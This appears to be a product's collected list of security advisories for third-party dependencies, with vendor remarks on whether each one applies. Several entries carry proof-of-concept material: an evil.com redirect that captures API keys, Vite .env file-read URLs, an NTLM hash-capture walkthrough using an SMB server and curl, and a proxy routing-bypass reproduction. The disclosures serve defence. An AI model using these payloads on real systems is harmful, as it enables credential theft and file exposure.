A flaw was found in Keycloak. An administrator with `manage-users` permission can bypass the "Only administrators can view" setting for unmanaged attributes, allowing them to modify these attributes. This improper access control can lead to unauthorized changes to user profiles, even when the system is configured to restrict such modifications.

Allocation of Resources Without Limits or Throttling (CWE-770) in Elasticsearch can allow an authenticated user with snapshot restore privileges to cause Excessive Allocation (CAPEC-130) of memory and a denial of service (DoS) via crafted HTTP request.

This particular usage of ElasticSearch is not used in BlueMind.

A vulnerability has been discovered in Vue, that allows an attacker to perform XSS via prototype pollution. The attacker could change the prototype chain of some properties such as `Object.prototype.staticClass` or `Object.prototype.staticStyle` to execute arbitrary JavaScript code.

The template compiler is only used by BM code without any posibilities of injection.

Netty is a network application framework for development of protocol servers and clients. Prior to version 4.2.15.Final, Netty QUIC exposes the stateless reset token on the network path when using the default HMAC-based connection-ID and stateless-reset-token generators. The reset token for the server's current source connection ID can be derived from bytes that appear as the connection ID in QUIC headers after a source-CID rotation. An on-path attacker observing the headers can use the token to perform a Denial of Service by sending a spoofed Stateless Reset packet. Version 4.2.15.Final patches the issue.

Impact: When a user-configured proxy on webpack-dev-server has a broad context (e.g. /) and ws: true, it also intercepts the dev server's own HMR WebSocket and forwards it to the proxy target. This leaks the browser's cookies and Origin header to the backend, bypasses the dev server's Host/Origin validation, and corrupts the HMR socket (both HMR and the proxy end up writing to the same socket). Patches: Fixed in webpack-dev-server@5.2.5. Workarounds: Scope user-defined proxy context to specific paths instead of /, or omit ws: true from the proxy entry when WebSocket forwarding is not required.

Editors could delete any annotation, even those they do not have read access to. The editor user cannot create or read the annotations.

Improper permission check in ZooKeeper AdminServer lets authorized clients to run snapshot and restore command with insufficient permissions. This issue affects Apache ZooKeeper: from 3.9.0 before 3.9.4. Users are recommended to upgrade to version 3.9.4, which fixes the issue. The issue can be mitigated by disabling both commands (via admin.snapshot.enabled and admin.restore.enabled), disabling the whole AdminServer interface (via admin.enableServer), or ensuring that the root ACL does not provide open permissions. (Note that ZooKeeper ACLs are not recursive, so this does not impact operations on child nodes besides notifications from recursive watches.)

nanoid (aka Nano ID) before 5.0.9 mishandles non-integer values. 3.3.8 is also a fixed version.

This dependancy is used only on development environment and is not included in production packages.

Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, netty_unix_socket_recvFd sets msg_control to `char control[CMSG_SPACE(sizeof(int))]` (line 940) — 24 bytes on 64-bit Linux. A peer-sent SCM_RIGHTS cmsg carrying two ints has cmsg_len = CMSG_LEN(8) = 24, which fits exactly with no MSG_CTRUNC, so the kernel installs both fds in the receiving process. The subsequent check `cmsg->cmsg_len == CMSG_LEN(sizeof(int))` (line 972, expected 20) fails, the branch that would read the fd is skipped, and neither installed fd is closed. The for(;;) loop calls recvmsg again (non-blocking → EAGAIN → Java maps to 0 → read loop exits normally), leaving two leaked fds per message. There is no MSG_CTRUNC handling. Reachable via Epoll/KQueue DomainSocketChannel when the application opts into DomainSocketReadMode.FILE_DESCRIPTORS (non-default). Versions 4.1.135.Final and 4.2.15.Final patch the issue.

The ejs (aka Embedded JavaScript templates) package before 3.1.10 for Node.js lacks certain pollution protection.

EJS is used by the bundle analyzer command, and is not present at runtime

Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

Webpack is a module bundler. From version 5.49.0 to before 5.104.1, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). This issue has been patched in version 5.104.1.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: < 6.14.1. Summary The arrayLimit option in qs did not enforce limits for bracket notation (a[]=1&a[]=2), only for indexed notation (a[0]=1). This is a consistency bug; arrayLimit should apply uniformly across all array notations. Note: The default parameterLimit of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than parameterLimit regardless of arrayLimit, because each a[]=valueconsumes one parameter slot. The severity has been reduced accordingly. Details The arrayLimit option only checked limits for indexed notation (a[0]=1&a[1]=2) but did not enforce it for bracket notation (a[]=1&a[]=2). Vulnerable code (lib/parse.js:159-162): if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } Working code (lib/parse.js:175): else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; } The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays. PoC const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5) Note on parameterLimit interaction: The original advisory's "DoS demonstration" claimed a length of 10,000, but parameterLimit (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000. Impact Consistency bug in arrayLimit enforcement. With default parameterLimit, the practical DoS risk is negligible since parameterLimit already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when parameterLimit is explicitly set to a very high value.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

on-headers is a node.js middleware for listening to when a response writes headers. A bug in on-headers versions `<1.1.0` may result in response headers being inadvertently modified when an array is passed to `response.writeHead()`. Users should upgrade to version 1.1.0 to receive a patch. Uses are strongly encouraged to upgrade to `1.1.0`, but this issue can be worked around by passing an object to `response.writeHead()` rather than an array.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

--- title: Cross-Tenant Legacy Correlation Disclosure and Deletion draft: false hero: image: /static/img/heros/hero-legal2.svg content: "# Cross-Tenant Legacy Correlation Disclosure and Deletion" date: 2026-01-29 product: Grafana severity: Low cve: CVE-2026-21727 cvss_score: "3.3" cvss_vector: "CVSS:3.3/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N" fixed_versions: - ">=11.6.11 >=12.0.9 >=12.1.6 >=12.2.4" --- A cross-tenant isolation vulnerability was found in Grafana’s Correlations feature affecting legacy correlation records. Due to a backward compatibility condition allowing org_id = 0 records to be returned across organizations, a user with datasource management privileges could read and permanently delete legacy correlation data belonging to another organization. This issue affects correlations created prior to Grafana 10.2 and is fixed in >=11.6.11, >=12.0.9, >=12.1.6, and >=12.2.4. Thanks to Gyu-hyeok Lee (g2h) for reporting this vulnerability.

ajv (Another JSON Schema Validator) before 8.18.0 is vulnerable to Regular Expression Denial of Service (ReDoS) when the $data option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax ($data reference), which is passed directly to the JavaScript RegExp() constructor without validation. An attacker can inject a malicious regex pattern (e.g., "^(a|a)*$") combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with $data: true for dynamic schema validation. This issue is also fixed in version 6.14.0.

A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

A time-of-create-to-time-of-use (TOCTOU) vulnerability lets recently deleted-then-recreated data sources be re-deleted without permission to do so. This requires several very stringent conditions to be met: - The attacker must have admin access to the specific datasource prior to its first deletion. - Upon deletion, all steps within the attack must happen within the next 30 seconds and on the same pod of Grafana. - The attacker must delete the datasource, then someone must recreate it. - The new datasource must not have the attacker as an admin. - The new datasource must have the same UID as the prior datasource. These are randomised by default. - The datasource can now be re-deleted by the attacker. - Once 30 seconds are up, the attack is spent and cannot be repeated. - No datasource with any other UID can be attacked.

Out-of-bounds memory operations in org.lz4:lz4-java 1.8.0 and earlier allow remote attackers to cause denial of service and read adjacent memory via untrusted compressed input.

This particular feature is not used in BlueMind. Code is not reachable.

Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper. This issue affects BC-JAVA: from 1.74 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84.

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Happy DOM v19 and lower contains a security vulnerability that puts the owner system at the risk of RCE (Remote Code Execution) attacks. A Node.js VM Context is not an isolated environment, and if the user runs untrusted JavaScript code within the Happy DOM VM Context, it may escape the VM and get access to process level functionality. It seems like what the attacker can get control over depends on if the process is using ESM or CommonJS. With CommonJS the attacker can get hold of the `require()` function to import modules. Happy DOM has JavaScript evaluation enabled by default. This may not be obvious to the consumer of Happy DOM and can potentially put the user at risk if untrusted code is executed within the environment. Version 20.0.0 patches the issue by changing JavaScript evaluation to be disabled by default.

## Summary When an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target. Since `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem. ## Affected Code `index.js`, lines 469-476: ```javascript if (redirectUrl.protocol !== currentUrlParts.protocol && redirectUrl.protocol !== "https:" || redirectUrl.host !== currentHost && !isSubdomain(redirectUrl.host, currentHost)) { removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers); } ``` The regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched. ## Attack Scenario 1. App uses axios with custom auth header: `headers: { 'X-API-Key': 'sk-live-secret123' }` 2. Server returns `302 Location: https://evil.com/steal` 3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com` 4. Attacker captures the API key ## Impact Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js. ## Suggested Fix Add a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect. ## Disclosure Source code review, manually verified. Found 2026-03-20.

Use of Insufficiently Random Values vulnerability in form-data allows HTTP Parameter Pollution (HPP). This vulnerability is associated with program files lib/form_data.Js. This issue affects form-data: < 2.5.4, 3.0.0 - 3.0.3, 4.0.0 - 4.0.3.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

Covert timing channel vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA core on all (core modules). This vulnerability is associated with program files FrodoEngine.Java. This issue affects BC-JAVA: from 1.71 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84.

yawkat LZ4 Java provides LZ4 compression for Java. Insufficient clearing of the output buffer in Java-based decompressor implementations in lz4-java 1.10.0 and earlier allows remote attackers to read previous buffer contents via crafted compressed input. In applications where the output buffer is reused without being cleared, this may lead to disclosure of sensitive data. JNI-based implementations are not affected. This vulnerability is fixed in 1.10.1.

This particular feature is not used in BlueMind. Code is not reachable.

launch-editor allows users to open files with line numbers in editor from Node.js. Prior to version 2.9.0, due to the insufficient sanitization of the `file` argument in the `launchEditor`, an attacker can execute arbitrary commands on Windows by supplying a filename that contains special characters. This issue has been fixed in the `launch-editor` version 2.9.0, corresponding to vite version 5.4.9.

Vite is a frontend tooling framework for javascript. Prior to 6.2.6, 6.1.5, 6.0.15, 5.4.18, and 4.5.13, the contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun. HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2. On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) and running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun) are affected. This vulnerability is fixed in 6.2.6, 6.1.5, 6.0.15, 5.4.18, and 4.5.13.

Library only used on build servers. Code not present on production servers.

Vite is a frontend tooling framework for JavaScript. In versions from 2.9.18 to before 3.0.0, 3.2.9 to before 4.0.0, 4.5.3 to before 5.0.0, 5.2.6 to before 5.4.21, 6.0.0 to before 6.4.1, 7.0.0 to before 7.0.8, and 7.1.0 to before 7.1.11, files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows. Only apps explicitly exposing the Vite dev server to the network and running the dev server on Windows were affected. This issue has been patched in versions 5.4.21, 6.4.1, 7.0.8, and 7.1.11.

This vulnerability impacts only Windows Servers and BlueMind is deployed on Linux server and this library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

# Summary `http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. # Details Tested code state: - validated on tag `v4.0.0-beta.5` - corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358` Relevant code locations: - `src/router.ts` - `src/http-proxy-middleware.ts` Affected public API: - `createProxyMiddleware({ router: { 'host/path': 'http://target' } })` Code explanation: When a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if: ```ts hostAndPath.indexOf(key) > -1 ``` That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is: ```txt localhost:3000/api ``` but the attacker-controlled host is: ```txt evillocalhost:3000 ``` and the request path is: ```txt /api ``` The concatenated attacker-controlled string: ```txt evillocalhost:3000/api ``` still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host. Exploit path: 1. the application enables the documented proxy-table `router` feature with at least one host+path rule 2. an external attacker sends an ordinary HTTP request with a crafted `Host` header 3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying 4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching 5. the request is proxied to the wrong backend ## PoC Create these files in the same working directory and run: ```bash bash ./run.sh ``` ### File: `run.sh` ```bash #!/usr/bin/env bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" REPO_URL="https://github.com/chimurai/http-proxy-middleware.git" REPO_REF="v4.0.0-beta.5" WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")" TARGET_REPO_DIR="${WORKDIR}/repo" REPRO_DIR="${WORKDIR}/reproduction" IMAGE_TAG="http-proxy-middleware-router-bypass-poc" cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT echo "[a3] cloning target repository" git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}" git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}" mkdir -p "${REPRO_DIR}" cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile" cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs" echo "[a3] building reproduction image" docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}" echo "[a3] running verification" docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs ``` ### File: `Dockerfile` ```Dockerfile FROM node:22-bullseye WORKDIR /work COPY repo/package.json repo/yarn.lock /work/repo/ RUN corepack enable \ && cd /work/repo \ && yarn install --frozen-lockfile COPY repo /work/repo RUN cd /work/repo && yarn build COPY reproduction /work/reproduction ``` ### File: `verify.mjs` ```js import http from 'node:http'; import fs from 'node:fs'; import assert from 'node:assert/strict'; import { createProxyMiddleware } from '/work/repo/dist/index.js'; const ROUTER_KEY = 'localhost:3000/api'; const CRAFTED_HOST = 'evillocalhost:3000'; function listen(server, port) { return new Promise((resolve) => { server.listen(port, '127.0.0.1', () => resolve()); }); } function close(server) { return new Promise((resolve, reject) => { server.close((err) => { if (err) { reject(err); return; } resolve(); }); }); } function request(path, host) { return new Promise((resolve, reject) => { const req = http.request( { host: '127.0.0.1', port: 3000, path, method: 'GET', headers: { Host: host, }, }, (res) => { let data = ''; res.setEncoding('utf8'); res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { resolve({ statusCode: res.statusCode, body: data }); }); }, ); req.on('error', reject); req.end(); }); } const defaultBackend = http.createServer((req, res) => { res.end('DEFAULT'); }); const secretBackend = http.createServer((req, res) => { res.end('SECRET'); }); const proxyMiddleware = createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); const proxyServer = http.createServer((req, res) => { proxyMiddleware(req, res, () => { res.statusCode = 404; res.end('NO_PROXY'); }); }); try { assert.ok(fs.existsSync('/work/repo/dist/index.js')); assert.ok(fs.existsSync('/work/reproduction/verify.mjs')); await listen(defaultBackend, 3101); await listen(secretBackend, 3102); await listen(proxyServer, 3000); console.log('STEP start-services ok'); const baseline = await request('/api', 'safe.example:3000'); assert.equal(baseline.statusCode, 200); assert.equal(baseline.body, 'DEFAULT'); console.log(`STEP baseline-route body=${baseline.body}`); const crafted = await request('/api', CRAFTED_HOST); assert.equal(crafted.statusCode, 200); assert.equal(crafted.body, 'SECRET'); assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]); console.log(`STEP crafted-route body=${crafted.body}`); console.log('RESULT reproduced host_header_injection router substring match bypass'); } finally { await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]); } ``` This PoC starts: - one default backend returning `DEFAULT` - one alternate backend returning `SECRET` - one proxy using: ```js createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); ``` It then sends: 1. a baseline request to `/api` with `Host: safe.example:3000` 2. a crafted request to `/api` with `Host: evillocalhost:3000` Observed result from the validated PoC: - baseline request: `STEP baseline-route body=DEFAULT` - crafted request: `STEP crafted-route body=SECRET` - success marker: `RESULT reproduced host_header_injection router substring match bypass` The PoC is considered successful only if: 1. the baseline request stays on the default backend 2. the crafted request reaches the alternate backend 3. the crafted host is not equal to the configured router host # Impact This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.

### Summary The contents of files that are specified by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) can be returned to the browser on Windows. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - the sensitive file exists in the allowed directories specified by [`server.fs.allow`](https://vite.dev/config/server-options#server-fs-allow) - either of: - the sensitive file exists in an NTFS volume - the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes) ### Details Vite’s dev server denies direct access to sensitive files through `server.fs.deny`, including entries such as `.env`, `.env.*`, and `*.{crt,pem}`. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied. Because of this, requests such as `/.env::$DATA?raw` are treated as allowed paths, while Windows resolves them to the original file's default data stream. Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them. ### PoC ```bash $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev ``` Access via browser at `http://localhost:5173/.env::$DATA?raw` <img width="388" height="129" alt="deecc1315123883cfd0f9c26a002845a" src="https://github.com/user-attachments/assets/895c6012-4e2e-4a35-babb-69bbf3ee7170" /> Example expected result: - `/.env::$DATA?raw` returns the contents of `.env` - `/tls.pem::$DATA?raw` returns the contents of `tls.pem`

### Summary The `launch-editor` NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. ### Impact If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the `launch-editor`: - using Windows - NTLM is not disabled ([it is recommended to disable](https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526), while it's still enabled by default) - the user accesses the attackers website that sends request to a middleware using `launch-editor` - the server that has the middleware using `launch-editor` is running - the attacker knows the URL for that server and the middleware This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems. ### Details `launch-editor` accepts file paths without validating or restricting Windows UNC paths such as: ``` \\attacker-host\share ``` On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur. If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password. The attacker could target a developer that uses a development server using `launch-editor` to develop code locally, send them a link and grab their NTLMv2 hash. ### PoC From the attacker side, we will setup an SMB server. I personally used [Impacket's smbserver.py](https://github.com/fortra/impacket/blob/master/examples/smbserver.py), but you could use something like [Responder](https://github.com/lgandx/Responder) for this as well. For keeping it simple, we will use `smbserver.py` here. First, let's create a directory to serve as an SMB share. ``` mkdir /tmp/data echo "Hello world" > /tmp/data/test.txt ``` Then, start the SMB server. ``` $ sudo smbserver.py -smb2support -debug share /tmp/data ``` Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (`vite`). Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use `curl` to achieve the same. ``` curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt' ``` Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of `smbserver.py` and see the NTLMv2 hash coming in. <img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" />

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpkix on all (pkix modules), Legion of the Bouncy Castle Inc. BCPKIX-FIPS bcpkix on All (pkix modules), Legion of the Bouncy Castle Inc. BCPIX-LTS bcpkix on All (pkix modules). This vulnerability is associated with program files JcaContentVerifierProviderBuilder.Java, JcaContentVerfierProviderBuilder.Java. This issue affects BC-JAVA: from 1.67 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84; BCPKIX-FIPS: from 2.0.6 before 2.0.11, from 2.1.7 before 2.1.11; BCPIX-LTS: from 2.73.7 before 2.73.11.

path-to-regexp turns path strings into a regular expressions. In certain cases, path-to-regexp will output a regular expression that can be exploited to cause poor performance. The regular expression that is vulnerable to backtracking can be generated in the 0.1.x release of path-to-regexp. Upgrade to 0.1.12. This vulnerability exists because of an incomplete fix for CVE-2024-45296.

Fixed in v5.1.6. Please upgrade to this version or more.

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') vulnerability in Linkify (linkifyjs) allows XSS Targeting HTML Attributes and Manipulating User-Controlled Variables.This issue affects Linkify: from 4.3.1 before 4.3.2.

### Summary The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS). The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy. ### Details The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation. - The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks. - After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`. - The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed. - Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path. ### PoC The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000. ```java package tools.jackson.core.unittest.dos; import java.nio.charset.StandardCharsets; import org.junit.jupiter.api.Test; import tools.jackson.core.*; import tools.jackson.core.exc.StreamConstraintsException; import tools.jackson.core.json.JsonFactory; import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser; import static org.junit.jupiter.api.Assertions.*; /** * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers * * Authors: sprabhav7, rohan-repos * * maxNumberLength default = 1000 characters (digits). * A number with more than 1000 digits should be rejected by any parser. * * BUG: The async parser never calls resetInt()/resetFloat() which is where * validateIntegerLength()/validateFPLength() lives. Instead it calls * _valueComplete() which skips all number length validation. * * CWE-770: Allocation of Resources Without Limits or Throttling */ class AsyncParserNumberLengthBypassTest { private static final int MAX_NUMBER_LENGTH = 1000; private static final int TEST_NUMBER_LENGTH = 5000; private final JsonFactory factory = new JsonFactory(); // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength @Test void syncParserRejectsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); // Output to console System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")"); try { try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED"); } } } fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number"); } catch (StreamConstraintsException e) { System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage()); } } // VULNERABILITY: Async parser accepts the SAME number that sync rejects @Test void asyncParserAcceptsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); NonBlockingByteArrayJsonParser p = (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty()); p.feedInput(payload, 0, payload.length); p.endOfInput(); boolean foundNumber = false; try { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { foundNumber = true; String numberText = p.getText(); assertEquals(TEST_NUMBER_LENGTH, numberText.length(), "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits"); } } // Output to console System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED"); assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token"); } catch (StreamConstraintsException e) { fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage()); } p.close(); } private byte[] buildPayloadWithLongInteger(int numDigits) { StringBuilder sb = new StringBuilder(numDigits + 10); sb.append("{\"v\":"); for (int i = 0; i < numDigits; i++) { sb.append((char) ('1' + (i % 9))); } sb.append('}'); return sb.toString().getBytes(StandardCharsets.UTF_8); } } ``` ### Impact A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause: 1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`. 2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS. ### Suggested Remediation The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers. **NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)